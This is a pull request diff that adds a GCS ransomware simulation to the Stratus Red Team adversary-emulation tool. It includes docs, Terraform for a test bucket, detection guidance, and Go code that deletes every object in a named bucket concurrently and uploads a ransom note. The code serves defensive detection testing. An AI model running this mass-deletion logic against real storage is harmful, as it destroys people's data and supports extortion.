Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
---
title: Ransomware Simulation — Delete All GCS Objects in Batch
---

# Ransomware Simulation — Delete All GCS Objects in Batch




Platform: GCP

## Mappings

- MITRE ATT&CK
- Impact



## Description


Simulates a GCS ransomware attack by deleting all objects in a bucket
concurrently (in parallel goroutines) and uploading a ransom note. This
mirrors the pattern used by ransomware that bulk-deletes cloud storage
to maximize impact and generate storage deletion billing events for the victim.

<span style="font-variant: small-caps;">Warm-up</span>:

- Create a GCS bucket with 50 test objects

<span style="font-variant: small-caps;">Detonation</span>:

- List all objects in the bucket
- Delete all objects concurrently using goroutines
- Upload a ransom note as <code>RANSOM_NOTE.txt</code>

References:

- https://cloud.google.com/storage/docs/deleting-objects
- https://cloud.google.com/storage/docs/json_api/v1/objects/delete
- https://panther.com/blog/detecting-and-hunting-for-cloud-ransomware-part-2-gcp-gcs
- https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate gcp.impact.ransomware-gcs-batch-deletion
```
## Detection


Identify a burst of GCS object deletions by monitoring for a high volume of
<code>storage.objects.delete</code> events in GCP Data Access audit logs in
a short time window, particularly when followed by the creation of a file
named <code>RANSOM_NOTE.txt</code>.


2 changes: 2 additions & 0 deletions docs/attack-techniques/GCP/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -101,3 +101,5 @@ Note that some Stratus attack techniques may correspond to more than a single AT

- [Invoke a Vertex AI Model](./gcp.impact.invoke-vertex-ai-model.md)

- [Ransomware Simulation — Delete All GCS Objects in Batch](./gcp.impact.ransomware-gcs-batch-deletion.md)

1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -108,3 +108,4 @@ This page contains the list of all Stratus Attack Techniques.
| [Execute Commands on GCE Instances via OS Config Agent](./GCP/gcp.execution.os-config-run-command.md) | [GCP](./GCP/index.md) | Execution |
| [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion |
| [Backdoor a GCS Bucket via Overly Permissive IAM Policy](./GCP/gcp.exfiltration.backdoor-gcs-bucket.md) | [GCP](./GCP/index.md) | Exfiltration |
| [Ransomware Simulation — Delete All GCS Objects in Batch](./GCP/gcp.impact.ransomware-gcs-batch-deletion.md) | [GCP](./GCP/index.md) | Impact |
2 changes: 1 addition & 1 deletion docs/attack-techniques/mitre-attack-coverage-matrices.md
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently
<tr><td><a href="../GCP/gcp.initial-access.use-compute-sa-outside-gcp">Steal and Use the GCE Default Service Account Token from Outside Google Cloud</a></td><td><a href="../GCP/gcp.execution.modify-gce-startup-script">Modify a GCE Instance Startup Script</a></td><td><a href="../GCP/gcp.lateral-movement.add-sshkey-instance-metadata">Register SSH public key to instance metadata</a></td><td><a href="../GCP/gcp.execution.modify-gce-startup-script">Modify a GCE Instance Startup Script</a></td><td><a href="../GCP/gcp.defense-evasion.delete-dns-logs">Delete a Cloud DNS Logging Policy</a></td><td><a href="../GCP/gcp.credential-access.secretmanager-retrieve-secrets">Retrieve a High Number of Secret Manager secrets</a></td><td><a href="../GCP/gcp.discovery.download-instance-metadata">Read GCE Instance Metadata via the Compute API</a></td><td><a href="../GCP/gcp.lateral-movement.add-sshkey-instance-metadata">Register SSH public key to instance metadata</a></td><td><a href="../GCP/gcp.exfiltration.open-port-22-ingress">Open Ingress Port 22 on a Firewall Rule</a></td><td><a href="../GCP/gcp.impact.create-gpu-vm">Create a GCE GPU Virtual Machine</a></td></tr>
<tr><td></td><td><a href="../GCP/gcp.execution.modify-vertex-notebook-startup">Inject a Malicious Startup Script into a Vertex AI Workbench Instance</a></td><td><a href="../GCP/gcp.persistence.backdoor-service-account-policy">Backdoor a GCP Service Account through its IAM Policy</a></td><td><a href="../GCP/gcp.persistence.create-admin-service-account">Create an Admin GCP Service Account</a></td><td><a href="../GCP/gcp.defense-evasion.disable-audit-logs">Disable Data Access Audit Logs for a GCP Service</a></td><td><a href="../GCP/gcp.initial-access.use-compute-sa-outside-gcp">Steal and Use the GCE Default Service Account Token from Outside Google Cloud</a></td><td><a href="../GCP/gcp.discovery.enumerate-permissions">Enumerate Permissions of a GCP Service Account</a></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-disk">Exfiltrate Compute Disk by sharing it</a></td><td><a href="../GCP/gcp.impact.create-instances-in-multiple-zones">Create GCE Instances in Multiple Zones</a></td></tr>
<tr><td></td><td><a href="../GCP/gcp.execution.os-config-run-command">Execute Commands on GCE Instances via OS Config Agent</a></td><td><a href="../GCP/gcp.persistence.create-admin-service-account">Create an Admin GCP Service Account</a></td><td><a href="../GCP/gcp.persistence.create-service-account-key">Create a GCP Service Account Key</a></td><td><a href="../GCP/gcp.defense-evasion.remove-project-from-organization">Attempt to Remove a GCP Project from its Organization</a></td><td></td><td></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-image">Exfiltrate Compute Image by sharing it</a></td><td><a href="../GCP/gcp.impact.invoke-vertex-ai-model">Invoke a Vertex AI Model</a></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.create-service-account-key">Create a GCP Service Account Key</a></td><td><a href="../GCP/gcp.privilege-escalation.impersonate-service-accounts">Impersonate GCP Service Accounts</a></td><td><a href="../GCP/gcp.defense-evasion.remove-vpc-flow-logs">Disable VPC Flow Logs on a Subnet</a></td><td></td><td></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-snapshot">Exfiltrate Compute Disk by sharing a snapshot</a></td><td></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.create-service-account-key">Create a GCP Service Account Key</a></td><td><a href="../GCP/gcp.privilege-escalation.impersonate-service-accounts">Impersonate GCP Service Accounts</a></td><td><a href="../GCP/gcp.defense-evasion.remove-vpc-flow-logs">Disable VPC Flow Logs on a Subnet</a></td><td></td><td></td><td></td><td><a href="../GCP/gcp.exfiltration.share-compute-snapshot">Exfiltrate Compute Disk by sharing a snapshot</a></td><td><a href="../GCP/gcp.impact.ransomware-gcs-batch-deletion">Ransomware Simulation — Delete All GCS Objects in Batch</a></td></tr>
<tr><td></td><td></td><td><a href="../GCP/gcp.persistence.invite-external-user">Invite an External User to a GCP Project</a></td><td><a href="../GCP/gcp.execution.modify-vertex-notebook-startup">Inject a Malicious Startup Script into a Vertex AI Workbench Instance</a></td><td><a href="../GCP/gcp.defense-evasion.delete-logging-sink">Delete a GCP Log Sink</a></td><td></td><td></td><td></td><td><a href="../GCP/gcp.exfiltration.backdoor-gcs-bucket">Backdoor a GCS Bucket via Overly Permissive IAM Policy</a></td><td></td></tr>
<tr><td></td><td></td><td></td><td></td><td><a href="../GCP/gcp.defense-evasion.disable-logging-sink">Disable a GCP Log Sink</a></td><td></td><td></td><td></td><td></td><td></td></tr>
<tr><td></td><td></td><td></td><td></td><td><a href="../GCP/gcp.defense-evasion.reduce-sink-log-retention">Reduce Log Retention Period on a Cloud Logging Sink Bucket</a></td><td></td><td></td><td></td><td></td><td></td></tr>
Expand Down
7 changes: 7 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -699,6 +699,13 @@ GCP:
- Impact
platform: GCP
isIdempotent: true
- id: gcp.impact.ransomware-gcs-batch-deletion
name: Ransomware Simulation — Delete All GCS Objects in Batch
isSlow: false
mitreAttackTactics:
- Impact
platform: GCP
isIdempotent: false
Initial Access:
- id: gcp.initial-access.use-compute-sa-outside-gcp
name: Steal and Use the GCE Default Service Account Token from Outside Google Cloud
Expand Down
1 change: 1 addition & 0 deletions v2/go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ toolchain go1.24.2
require (
cloud.google.com/go/compute v1.31.1
cloud.google.com/go/secretmanager v1.14.4
cloud.google.com/go/storage v1.43.0
cloud.google.com/go/vertexai v0.12.0
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1
Expand Down
2 changes: 2 additions & 0 deletions v2/go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,8 @@ cloud.google.com/go/longrunning v0.6.4 h1:3tyw9rO3E2XVXzSApn1gyEEnH2K9SynNQjMlBi
cloud.google.com/go/longrunning v0.6.4/go.mod h1:ttZpLCe6e7EXvn9OxpBRx7kZEB0efv8yBO6YnVMfhJs=
cloud.google.com/go/secretmanager v1.14.4 h1:SMWQMsUcACsdIuVhIBAw+QfKY4Xseiaa8qDnunjmhcM=
cloud.google.com/go/secretmanager v1.14.4/go.mod h1:pjwFw8+A6B4AcWrVXruLfz1QykkpMr8T/VT+zXB91iw=
cloud.google.com/go/storage v1.43.0 h1:CcxnSohZwizt4LCzQHWvBf1/kvtHUn7gk9QERXPyXFs=
cloud.google.com/go/storage v1.43.0/go.mod h1:ajvxEa7WmZS1PxvKRq4bq0tFT3vMd502JwstCcYv0Q0=
cloud.google.com/go/vertexai v0.12.0 h1:zTadEo/CtsoyRXNx3uGCncoWAP1H2HakGqwznt+iMo8=
cloud.google.com/go/vertexai v0.12.0/go.mod h1:8u+d0TsvBfAAd2x5R6GMgbYhsLgo3J7lmP4bR8g2ig8=
dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk=
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
package gcp

import (
"context"
_ "embed"
"fmt"
"log"
"sync"

"cloud.google.com/go/storage"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"google.golang.org/api/iterator"
)

//go:embed main.tf
var tf []byte

const ransomNote = `Your data has been encrypted and exfiltrated.
To recover your files, contact: attacker@stratus-red-team.cloud
Your unique ID: STRATUS-RED-TEAM-SIMULATION
This is a security simulation by Stratus Red Team.`

func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "gcp.impact.ransomware-gcs-batch-deletion",
FriendlyName: "Ransomware Simulation — Delete All GCS Objects in Batch",
Description: `
Simulates a GCS ransomware attack by deleting all objects in a bucket
concurrently (in parallel goroutines) and uploading a ransom note. This
mirrors the pattern used by ransomware that bulk-deletes cloud storage
to maximize impact and generate storage deletion billing events for the victim.

Warm-up:

- Create a GCS bucket with 50 test objects

Detonation:

- List all objects in the bucket
- Delete all objects concurrently using goroutines
- Upload a ransom note as <code>RANSOM_NOTE.txt</code>

References:

- https://cloud.google.com/storage/docs/deleting-objects
- https://cloud.google.com/storage/docs/json_api/v1/objects/delete
- https://panther.com/blog/detecting-and-hunting-for-cloud-ransomware-part-2-gcp-gcs
- https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/
`,
Detection: `
Identify a burst of GCS object deletions by monitoring for a high volume of
<code>storage.objects.delete</code> events in GCP Data Access audit logs in
a short time window, particularly when followed by the creation of a file
named <code>RANSOM_NOTE.txt</code>.
`,
Platform: stratus.GCP,
IsIdempotent: false,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact},
PrerequisitesTerraformCode: tf,
Detonate: detonate,
})
}

func detonate(params map[string]string, providers stratus.CloudProviders) error {
bucketName := params["bucket_name"]
ctx := context.Background()

storageClient, err := storage.NewClient(ctx, providers.GCP().Options())
if err != nil {
return fmt.Errorf("failed to create Storage client: %w", err)
}
defer storageClient.Close()

bucket := storageClient.Bucket(bucketName)

// Collect all object names to delete.
var objectNames []string
it := bucket.Objects(ctx, nil)
for {
attrs, err := it.Next()
if err == iterator.Done {
break
}
if err != nil {
return fmt.Errorf("failed to list objects in bucket %s: %w", bucketName, err)
}
objectNames = append(objectNames, attrs.Name)
}

log.Printf("Deleting %d objects from bucket %s concurrently\n", len(objectNames), bucketName)

var wg sync.WaitGroup
errCh := make(chan error, len(objectNames))

for _, name := range objectNames {
wg.Add(1)
go func(objectName string) {
defer wg.Done()
if err := bucket.Object(objectName).Delete(ctx); err != nil {
errCh <- fmt.Errorf("failed to delete object %s: %w", objectName, err)
}
}(name)
}

wg.Wait()
close(errCh)

// Collect any deletion errors but continue to upload the ransom note.
var deleteErrors []error
for err := range errCh {
deleteErrors = append(deleteErrors, err)
}

if len(deleteErrors) > 0 {
return fmt.Errorf("encountered %d errors deleting objects: first error: %w", len(deleteErrors), deleteErrors[0])
}

log.Printf("Successfully deleted %d objects. Uploading ransom note.\n", len(objectNames))
writer := bucket.Object("RANSOM_NOTE.txt").NewWriter(ctx)
if _, err := fmt.Fprint(writer, ransomNote); err != nil {
writer.Close()
return fmt.Errorf("failed to write ransom note: %w", err)
}
if err := writer.Close(); err != nil {
return fmt.Errorf("failed to finalize ransom note upload: %w", err)
}

log.Printf("Ransomware simulation complete. Ransom note uploaded to gs://%s/RANSOM_NOTE.txt\n", bucketName)
return nil
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
terraform {
required_providers {
google = {
source = "hashicorp/google"
version = "~> 6.18.1"
}
random = {
source = "hashicorp/random"
version = "~> 3.3.2"
}
}
}

locals {
resource_prefix = "stratus-red-team-rgbd" # ransomware gcs batch deletion
}

resource "random_string" "suffix" {
length = 8
special = false
min_lower = 8
}

resource "google_storage_bucket" "bucket" {
name = "${local.resource_prefix}-${random_string.suffix.result}"
location = "US"
force_destroy = true
}

resource "google_storage_bucket_object" "objects" {
count = 50
name = "sensitive-data-${count.index}.txt"
bucket = google_storage_bucket.bucket.name
content = "Sensitive data file ${count.index} - Stratus Red Team test"
}

output "bucket_name" {
value = google_storage_bucket.bucket.name
}

output "display" {
value = format("GCS bucket %s with 50 objects", google_storage_bucket.bucket.name)
}
1 change: 1 addition & 0 deletions v2/internal/attacktechniques/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,7 @@ import (
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/create-gpu-vm"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/invoke-vertex-ai-model"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/create-instances-in-multiple-zones"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/initial-access/use-compute-sa-outside-gcp"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/lateral-movement/add-sshkey-instance-metadata"
_ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy"
Expand Down